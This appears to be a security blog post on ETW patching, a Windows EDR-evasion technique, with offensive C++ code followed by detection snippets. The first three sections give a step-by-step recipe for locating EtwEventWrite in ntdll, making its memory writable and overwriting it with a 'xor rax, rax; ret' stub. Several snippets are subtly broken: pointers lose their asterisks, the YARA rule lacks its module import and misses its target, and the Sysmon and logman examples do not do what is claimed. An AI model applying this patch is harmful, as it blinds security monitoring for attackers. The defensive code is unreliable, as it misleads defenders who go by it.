Listen to this Post
Introduction:
Event Tracing for Windows (ETW) is the foundational logging mechanism of the Windows operating system, providing a critical stream of telemetry for Endpoint Detection and Response (EDR) systems. ETW Patching is a potent user-mode evasion technique that involves neutralizing this logging at its source, rendering many modern security controls blind to malicious activity. This article provides a technical deep dive into the methodology, detection, and mitigation of this pervasive threat.
Learning Objectives:
- Understand the core mechanics of Event Tracing for Windows (ETW) and why it is a prime target for attackers.
- Learn how to implement and detect ETW patching in both offensive and defensive security contexts.
- Master a suite of verified commands and techniques for memory patching, integrity checking, and threat hunting related to ETW tampering.
You Should Know:
1. Locating the ETW EventWrite Function
The first step in ETW patching is pinpointing the address of the critical `EtwEventWrite` function within ntdll.dll. This function is the primary conduit for event logging.
// C++ Snippet to get module handle and function address
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (hNtdll) {
FARPROC pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
// pEtwEventWrite now contains the address to patch
}
Step-by-step guide:
This code retrieves the base address of the loaded `ntdll.dll` module in the current process. Using GetProcAddress, it then resolves the virtual memory address of the `EtwEventWrite` function. This address is the target for the subsequent memory patching operation, allowing an attacker to overwrite the function’s instructions.
2. Pattern Scanning for Dynamic Offset Resolution
Windows updates can change function offsets, so hardcoded addresses are unreliable. Pattern scanning provides a robust method to locate the function in memory dynamically.
// Byte pattern for EtwEventWrite (example, can vary)
unsigned char pattern[] = { 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10 };
void functionAddress = FindPattern((BYTE)hNtdll, moduleSize, pattern);
Step-by-step guide:
This technique involves searching the memory space of `ntdll.dll` for a unique sequence of bytes (a “signature”) that identifies the `EtwEventWrite` function. A `FindPattern` function (which you would implement) scans the memory region, comparing bytes until it finds a match. This ensures the patching code works across different Windows builds without manual adjustment.
3. Applying the In-Memory Patch
Once the function address is found, the next step is to change the memory protection and overwrite the function’s prologue with a simple “return” instruction.
// Change memory protection to Read/Write/Execute
DWORD oldProtect;
VirtualProtect(pEtwEventWrite, 4, PAGE_EXECUTE_READWRITE, &oldProtect);
// Overwrite with a stub that does nothing (return 0)
unsigned char patch[] = { 0x48, 0x31, 0xC0, 0xC3 }; // xor rax, rax; ret
memcpy(pEtwEventWrite, patch, sizeof(patch));
// Restore old memory protection (optional)
VirtualProtect(pEtwEventWrite, 4, oldProtect, &oldProtect);
Step-by-step guide:
`VirtualProtect` is a critical Windows API call used to modify the permissions of a memory page. By setting it to PAGE_EXECUTE_READWRITE, we gain the ability to write new instructions to the code section. The `memcpy` operation then replaces the beginning of `EtwEventWrite` with assembly opcodes that clear the RAX register (return value) and immediately return, effectively neutralizing the function.
4. PowerShell Script Block Logging Bypass via ETW
PowerShell heavily relies on ETW. Patching it can disable Script Block Logging, a key blue team visibility tool.
Command to check current PowerShell logging settings Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging"
Step-by-step guide:
This PowerShell command queries the registry to determine if Script Block Logging is enabled. For a red teamer, this is reconnaissance to understand the environment’s logging posture. For a blue teamer, this is a check to ensure critical logging is active. When ETW is patched, even if this registry key is set to enable logging, no events will be generated.
5. Hunting for ETW Patching with YARA
Blue teams can use YARA rules to scan process memory for signatures of common ETW patches.
rule ETW_Patch_XOR_Ret {
meta:
description = "Detects simple ETW patch (xor rax, rax; ret)"
author = "BlueTeam"
strings:
$a = { 48 31 C0 C3 } // xor rax, rax; ret
condition:
$a in (0..1000) and pe.is_pe
}
Step-by-step guide:
This YARA rule is designed to be run by an EDR or a standalone memory scanner. It searches the beginning of executable sections (the first 1000 bytes in this example) for the specific byte sequence of a common ETW-patching stub. If this sequence is found within the `ntdll.dll` memory region of a running process, it is a strong indicator of compromise.
6. Monitoring for Suspicious API Calls with Sysmon
Sysmon can generate events when a process attempts to modify the memory protection of critical system libraries.
<!-- Sysmon Configuration Snippet (Event ID 10) --> <RuleGroup groupRelation="or"> <ProcessAccess onmatch="include"> <TargetImage condition="contains">ntdll.dll</TargetImage> <CallTrace condition="contains">C:\Windows\System32\kernelbase.dll</CallTrace> </ProcessAccess> </RuleGroup>
Step-by-step guide:
This XML snippet is part of a Sysmon configuration file. It instructs Sysmon to log Event ID 10 (ProcessAccess) whenever a process targets `ntdll.dll` and the call originates from a user-mode library like `kernelbase.dll` (which is where `VirtualProtect` often resides in call stacks). This creates an audit trail for the exact moment an attacker attempts the patching operation.
7. Querying Active ETW Providers
Defenders can audit the system to see which ETW providers are running, helping to identify if a critical provider has been tampered with or stopped.
logman query providers | findstr /i "threat"
Step-by-step guide:
This Windows command-line command uses the `logman` utility to list all active ETW providers on the system. Piping it to `findstr` to search for keywords like “threat” can help identify security-related providers (e.g., “Threat Intelligence” providers from your EDR). If these providers are missing or not running when they should be, it could indicate a system-wide ETW disruption.
What Undercode Say:
- Key Takeaway 1: ETW Patching remains a highly effective, low-complexity technique for disabling a vast portion of an EDR’s data source, moving the battle from API hooking to the very root of Windows telemetry.
- Key Takeaway 2: While powerful, this technique is becoming increasingly detectable by mature security products through memory integrity checks and behavioral analysis of system API calls, making it a cat-and-mouse game.
The analysis reveals a fundamental tension in modern cybersecurity. ETW patching exploits a design feature of Windows—the need for performance and functionality—against its security monitoring. For red teams, it’s a necessary tool in the evasion toolkit. For blue teams, it underscores the critical need for defense-in-depth. Relying solely on user-mode EDR telemetry is a flawed strategy. Effective defense requires correlating multiple data sources, such as kernel-mode drivers for integrity checking, Sysmon for process behavior, and network telemetry, to detect anomalies that ETW patching alone cannot hide. The technique is not a silver bullet for attackers but a stark reminder for defenders that visibility is the first and most crucial pillar of security.
Prediction:
The future of this technique will see a rapid escalation in the arms race. Microsoft will likely introduce hardened, kernel-protected ETW components or immutable logging channels in future Windows versions, forcing attackers to develop more complex kernel-level rootkits to achieve the same goal. This will raise the barrier to entry for attackers but also increase the potential impact of successful compromises, as the techniques involved will be more destructive and invasive. Defensively, we will see a greater integration of AI/ML models that can detect the subtle behavioral shifts caused by the absence of expected ETW events, moving detection from explicit signature-based patching to implicit anomaly detection.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Tristan Manzano – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
